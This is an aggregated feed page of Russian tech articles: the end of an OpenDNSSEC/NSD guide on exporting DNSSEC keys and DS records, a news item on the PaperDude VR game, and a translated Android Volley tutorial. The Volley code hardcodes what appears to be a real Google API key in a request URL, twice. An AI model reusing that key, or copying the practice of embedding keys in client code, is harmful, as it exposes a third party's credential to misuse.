Нужно произвести экспорт открытых KSK ключей для каждой из зон. Экспортировать можно только KSK в состоянии ready.

Ниже приведённые команды для экспорта ключей пока не выполняем:

ods-ksmutil key export --zone example.com [--keystate READY]

ods-ksmutil key export --zone example.com --ds [--keystate READY]


Первая пара – ZSK для подписи зонного файла.

Вторая пара – KSK для подписи ключа ZSK и формирования DS-записей, которые передаются администратору родительской зоны.

Выясняем DNSKEY и DS записи из KSK:

# ods-ksmutil key list --verbose

SQLite database set to: /usr/local/var/opendnssec/kasp.db

Keys:

Zone: Keytype: State: Date of next transition: CKA_ID: Repository: Keytag:

zone2.ru KSK publish 2013-06-02 13:29:18 4962a716093d3973bc2cbcd0312a2e90 SoftHSM 41863

zone2.ru ZSK active 2013-07-01 23:29:18 0696ec624c7baba98062d4fc32064b46 SoftHSM 5817

zone1.com KSK publish 2013-06-02 13:29:18 f73f605125a7e59e3f3108680255d84e SoftHSM 6918

zone1.com ZSK active 2013-07-01 23:29:18 31e08389f3a59397dce1f22fa67df8a8 SoftHSM 2180


# ods-ksmutil key ds-seen -z zone1.com -x 6918

Found key with CKA_ID f73f605125a7e59e3f3108680255d84e

Key f73f605125a7e59e3f3108680255d84e made active

Notifying enforcer of new database…

# ods-ksmutil key ds-seen -z zone2.ru -x 41863

Found key with CKA_ID 4962a716093d3973bc2cbcd0312a2e90

Key 4962a716093d3973bc2cbcd0312a2e90 made active

Notifying enforcer of new database…


статус KSK поменялся с publish на active:

# ods-ksmutil key list --verbose

SQLite database set to: /usr/local/var/opendnssec/kasp.db

Keys:

Zone: Keytype: State: Date of next transition: CKA_ID: Repository: Keytag:

zone2.ru KSK active 2013-06-02 13:29:18 4962a716093d3973bc2cbcd0312a2e90 SoftHSM 41863

zone2.ru ZSK active 2013-07-01 23:29:18 0696ec624c7baba98062d4fc32064b46 SoftHSM 5817

zone1.com KSK active 2013-06-02 13:29:18 f73f605125a7e59e3f3108680255d84e SoftHSM 6918

zone1.com ZSK active 2013-07-01 23:29:18 31e08389f3a59397dce1f22fa67df8a8 SoftHSM 2180


Теперь нужно сообщить провайдеру о вашем открытом ключе и DS записях для каждой из зон. У провайдера на сайте в личном кабинете есть/должна быть форма заполнения с примером. У моего была.

При экспорте после ключа –e нужно установить текущее состояние (state) ключа KSK publish, active…


# ods-ksmutil key export -z zone2.ru -e active -x 41863

;publish KSK DNSKEY record:

zone2.ru. 3600 IN DNSKEY 257 3 8 Aw…dk2= ;{id = xxxx (ksk), size = 2048b}


для размещения DNSKEY у РД, прямо всё, полученное через ods-ksmutil key export что есть копируем в текстовое поле ввода на сайте в личном кабинете, через некоторое время введённые данные автоматически будут подправлены до вида как в примере. Имеется в виду пример заполнения на веб странице личного кабинета РД. Т.е. всё, что после ;publish KSK DNSKEY record: прописываем в поле DNS Key: в личном кабинете РД.


Теперь выясняем DS записи для домена:

# ods-ksmutil key export -z zone2.ru -e active -x 41863 --ds

;publish KSK DS record (SHA1):

zone2.ru. 3600 IN DS 57062 8 1 2a…34df

;publish KSK DS record (SHA256):

zone2.ru. 3600 IN DS 57062 8 2 e3fa…d492


Соответственно копируем полученные DS записи в соответствующее поле ввода в личном кабинете xxx. Проделываем соответствующую операцию для всех доменов.


И последний штрих –автоматический перезапуск NSD сервера, при перегенерации ключей:

В файле /usr/local/etc/opendnssec/conf.xml нужно рас комментировать или добавить строку в секции




<Signer>…</Signer>:




<NotifyCommand>/usr/local/bin/opendnssec-nsd-reload</NotifyCommand>




В /usr/local/bin/ создаём файл opendnssec-nsd-reload со следующим содержимым:

{

#!/bin/sh — # @(#)(CAcert) $Id: reload-nsd,v 1.1 2013/06/02 23:49:50 root Exp $

# reload-nsd — script invoked by opendnssec to trigger nsd to reload zonefiles

# logging

# echo $0 $*

# ignore %zone and %zonefile arguments since nsd cannot use them…

/usr/local/sbin/nsdc rebuild

/usr/local/sbin/nsdc reload

}

# chmod 0555 /usr/local/bin/opendnssec-nsd-reload


Или копируем соответствующий файл из папки установки OpenDNSSEC.


Для остановки opendnssec можно использовать комманду

# ods-control stop

Если были сделаны изменения в kasp.xml, то нужно выполнить команду:

# ods-ksmutil update kasp

Если производятся изменения в неподписанных зонах –зоны оригиналы скопированные из /usr/local/etc/nsd/zones/master в /usr/local/var/opendnssec/unsigned директорию, то нужно выполнить команду:

# ods-signer sign example.com для каждой зоны, в которой были произведены изменения.


Перезапускаем NSD, для чтения подписанных файлов зон:

# nsdc rebuild

# nsdc reload

# nsdc notify


Проверка: в конечном итоге должны получить следующее:

Выведет стандартный ответ DNS сервера без dnssec

# dig site.com


; <<>> DiG 9.6.-ESV-R3 <<>> site.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<< — opcode: QUERY, status: NOERROR, id: 43618

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2


;; QUESTION SECTION:

;site.com. IN A


;; ANSWER SECTION:

site.com. 1111 IN A xxx.yyy.zzz.aaa


;; AUTHORITY SECTION:

site.com. 1111 IN NS ns4-l2.xxx.ru.

site.com. 1111 IN NS ns8-l2.xxx.ru.


;; ADDITIONAL SECTION:

ns4-l2.xxx.ru. 1276 IN A a.b.c.d1

ns8-l2.xxx.ru. 1276 IN A a.b.c.d2


;; Query time: 1 msec

;; SERVER: xx1.yy1.zz1.aa1#53(xx1.yy1.zz1.aa1)

;; WHEN: Mon Jun 3 18:00:40 2013

;; MSG SIZE rcvd: 123


Выводим dnssec ответ от DNS сервера:

# dig xxx.yyy.zzz.aaa site.com +retry=1 +dnssec +multiline


; <<>> DiG 9.6.-ESV-R3 <<>> xxx.yyy.zzz.aaa site.com +retry=1 +dnssec +multiline

;; global options: +cmd

;; Got answer:

;; ->>HEADER<< — opcode: QUERY, status: NXDOMAIN, id: 12671

;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0


;; QUESTION SECTION:

;xxx.yyy.zzz.aaa. IN A


;; AUTHORITY SECTION:

. 2235 IN SOA a.root-servers.net. nstld.verisign-grs.com. (

2013060300; serial

1800; refresh (30 minutes)

900; retry (15 minutes)

604800; expire (1 week)

86400; minimum (1 day)

)


;; Query time: 1 msec

;; SERVER: xx1.yy1.zz1.aa1#53(xx1.yy1.zz1.aa1)

;; WHEN: Mon Jun 3 18:52:31 2013

;; MSG SIZE rcvd: 107


;; Got answer:

;; ->>HEADER<< — opcode: QUERY, status: NOERROR, id: 53116

;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 3, ADDITIONAL: 3


;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096

;; QUESTION SECTION:

;site.com. IN A


;; ANSWER SECTION:

site.com. 1835 IN A xxx.yyy.zzz.aaa

site.com. 1835 IN RRSIG A 8 2 3600 20130609232905 (

20130602143424 39964 site.com.

IM+aCUZHZekNnQhjxngyIXUrBUkgCjAxc8o4UuoqvMUu

F1W3L7ge4HVHdWkfmEf/Gk+o8hu7B2MGgP1P9L89/l3c

gCyVYvIrpR3viVFP7uNtbaoiVdo3bRgtHyFH6QmlTCCW

NrmBHY5sKh/NItAqp1bagQCMYqy71o07oNsNeOU= )


;; AUTHORITY SECTION:

site.com. 1835 IN NS ns4-l2.xxx.ru.

site.com. 1835 IN NS ns8-l2.xxx.ru.

site.com. 1835 IN RRSIG NS 8 2 3600 20130610191139 (

20130603121736 39964 site.com.

ceIOophlVR8zLydk0hVWdtIx/OSLO+kdqQg0opthF5pF

O4NRYgKfkl2tSLGHozzQq0CqzZ0s9rGiE2hnq7M2jJby

Mg9wm1BmHVnmogSat463kpG29Di2U1Yj+AAY8WJ0Gtvv

iYG/atnToDAsLoXgaLfbaYvRCRirCym7LoXjn3Q= )


;; ADDITIONAL SECTION:

ns4-l2.xxx.ru. 1866 IN A a.b.c.d1

ns8-l2.xxx.ru. 1866 IN A a.b.c.d2


;; Query time: 1 msec

;; SERVER: xx1.yy1.zz1.aa1#53(xx1.yy1.zz1.aa1)

;; WHEN: Mon Jun 3 18:52:31 2013

;; MSG SIZE rcvd: 472


В приведённом выводе видим наличие ключей.


И последняя проверка, поскольку всё делалось для регистратора xxx, заходим в личный кабинет, и производим онлайн-тестирование DNS.


image


Всё в порядке, осталось убедиться, что по истечению установленного срока действия ключей, зоны будут пере подписаны автоматически. Видим запись, в личном кабинете РД “Выстроена цепочка доверия”.


Если кто укажет на возможные нюансы настройки c MySql, опробую и подкорректирую статью.

Много информации есть на официальном сайте.

Статью планируется корректировать, для правки настроек, связанных с MySql.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Римейк Paperboy с Oculus Rift и Kinect


сегодня в 12:53






Globacore, компания, специализирующаяся на производстве крупноформатных мультитач-мониторов и на интерфейсах, анонсировала римейк игры Paperboy. Игра PaperDude по мотивам бессмертной классики 1984 года использует множество современных технологий: сенсор движения Kinect и наиболее многообещающие очки виртуальной реальности Oculus Rift.


PaperDude базируется на движке Unity, модели для него были выполнены в 3D Studio и затекстурированы в редакторе Photoshop. Как демонстрируется в приведенном выше видеоролике, игрок крутит педали велотренажёра, выполняет наведение на цель, в чём ему помогает низкое время отклика и круговой обзор Oculus Rift, и делает бросок виртуальным свёртком газеты, который фиксируется сенсором движения Kinect. Датчик KickR получает вращение педалей и задаёт скорость движения в игре. KickR также может быть запрограммирован на затруднение хода или даже остановку при наезде на препятствие. Для его соединения с компьютером приходится использовать Bluetooth-канал iPad.




Игровой процесс PaperDude повторяет геймплей Paperboy: игроку предлагается роль развозчика газет с необходимостью избегать препятствия и других участников уличного движения и с возможностью вандализировать дома и частную собственность. В альфа-версии присуствует лишь один вид натуральных препятствий — дорожный барьер. В конечной версии будет больше участников движения и объектов на пути игрока, а также полоса препятствий и статистика набранных очков. Это безусловный подарок для поклонников игры, а для всех остальных — интересный проект, соединяющий множество нетрадиционных методов ввода и вывода информации.





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Перевод] Простой пример использования библиотеки Volley

Я уверен вы, еще не слышали слово «Volley», это библиотека, представленная на Google I/O 2013 Ficus Kirkpatrick.

Для чего библиотека Volley?





Volley это библиотека, которая делает сетевые приложения для Android проще и, самое главное, быстрее.





Она управляет обработкой и кэшированием сетевых запросов, и это экономит драгоценное время разработчиков от написания одного и того же кода сетевого запроса/считывания из кэша снова и снова. И еще одно преимущество, меньше кода, меньше количество ошибок :)

Обычно мы пишем один и тот же код сетевого запроса в AsyncTask, логику обработки ответа от Web API и отображения его в View. Мы должны заботиться об отображении ProgressBar/ProgressDialog внутри OnsourceExecute() и OnPostExecute(). Я знаю, что это не трудная задача, но все же рутинная. Иногда бывает скучно, даже когда определен базовый класс для управления ProgressBar/ProgressDialog и многими другими вещами. Так что теперь можно сказать, Volley может быть мощной альтернативой AsyncTask.


Преимущества использования Volley:





  1. Volley автоматически составляет все сетевые запросы. Volley будет принимать на себя все сетевые запросы вашего приложения выполнять их для извлечения ответа или изображения с веб-сайтов.

  2. Volley обеспечивает прозрачность дискового кэширования и кэширования в памяти.

  3. Volley обеспечивает мощное API для отмены запроса. Можно отменить один запрос или установить несколько запросов для отмены.

  4. Volley предоставляет мощные возможности изменения.

  5. Volley предоставляет инструменты отладки и трассировки.




Как начать?





  1. Клонируйте проект Volley.

    git clone https://android.googlesource.com/platform/frameworks/volley


  2. Импортируйте код в ваш проект.




2 главных класса Volley




Есть 2 основных класса:


  1. Request queue

  2. Request




Request queue: используется для отправки сетевых запросов, можете создавать класс request queue, где хотите, но, как правило его создают во время запуска и используют как Singleton.

Request: он содержит все необходимые детали для создания вызова Web API. Например: какой метод использовать (GET или POST), данные запроса, response listener, error listener.


Взгляните на метод JSONObjectRequest:



/**
* Creates a new request.
* @param method the HTTP method to use
* @param url URL to fetch the JSON from
* @param jsonRequest A {@link JSONObject} to post with the request. Null is allowed and
* indicates no parameters will be posted along with request.
* @param listener Listener to receive the JSON response
* @param errorListener Error listener, or null to ignore errors.
*/
public JsonObjectRequest(int method, String url, JSONObject jsonRequest,
Listener<JSONObject> listener, ErrorListener errorListener) {
super(method, url, (jsonRequest == null) ? null : jsonRequest.toString(), listener,
errorListener);
}

/**
* Constructor which defaults to <code>GET</code> if <code>jsonRequest</code> is
* <code>null</code>, <code>POST</code> otherwise.
*
* @see #JsonObjectRequest(int, String, JSONObject, Listener, ErrorListener)
*/
public JsonObjectRequest(String url, JSONObject jsonRequest, Listener<JSONObject> listener,
ErrorListener errorListener) {
this(jsonRequest == null ? Method.GET : Method.POST, url, jsonRequest,
listener, errorListener);
}




Простой пример использования Volley:




Я надеюсь вы уже клонировали/скачали библиотеку Volley из Git репозитория. Теперь следуйте инструкциям, что бы создать простой пример извлечения JSON ответа.

Шаг 1: Убедитесь что вы импортировали проект Volley в Eclipse. Теперь после импорта мы должны сделать проект библиотекой (Library project), правой кнопкой мыши => Properties => Android (левая панель).


volley as a library project


Шаг 2: Создайте новый проект VolleyExample.


Шаг 3: Правый клик на VolleyExample и включите библиотеку Volley в ваш проект.


Including volley library in Android project


Шаг 4: Включите разрешение на использование интернета в файле AndroidManifest.xml



<uses-permission android:name="android.permission.INTERNET"/>



Шаг 5:

5.1 Создайте объект класса RequestQueue

RequestQueue queue = Volley.newRequestQueue(this);



5.2 Создайте JSONObjectRequest с response и error listener.

String url = "https://www.googleapis.com/customsearch/v1?key=AIzaSyBmSXUzVZBKQv9FJkTpZXn0dObKgEQOIFU&cx=014099860786446192319:t5mr0xnusiy&q=AndroidDev&alt=json&searchType=image";

JsonObjectRequest jsObjRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() {

@Override
public void onResponse(JSONObject response) {
// TODO Auto-generated method stub
txtDisplay.setText("Response => "+response.toString());
findViewById(R.id.progressBar1).setVisibility(View.GONE);
}
}, new Response.ErrorListener() {

@Override
public void onErrorResponse(VolleyError error) {
// TODO Auto-generated method stub

}
});


5.3 Добавьте ваш request в RequestQueue.



queue.add(jsObjRequest);



Весь код файла MainActivity.java


package com.technotalkative.volleyexamplesimple;

import org.json.JSONObject;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.TextView;

import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.JsonObjectRequest;
import com.android.volley.toolbox.Volley;

public class MainActivity extends Activity {

private TextView txtDisplay;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

txtDisplay = (TextView) findViewById(R.id.txtDisplay);

RequestQueue queue = Volley.newRequestQueue(this);
String url = "https://www.googleapis.com/customsearch/v1?key=AIzaSyBmSXUzVZBKQv9FJkTpZXn0dObKgEQOIFU&cx=014099860786446192319:t5mr0xnusiy&q=AndroidDev&alt=json&searchType=image";

JsonObjectRequest jsObjRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() {

@Override
public void onResponse(JSONObject response) {
// TODO Auto-generated method stub
txtDisplay.setText("Response => "+response.toString());
findViewById(R.id.progressBar1).setVisibility(View.GONE);
}
}, new Response.ErrorListener() {

@Override
public void onErrorResponse(VolleyError error) {
// TODO Auto-generated method stub

}
});

queue.add(jsObjRequest);

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is sourcesent.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

}





This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html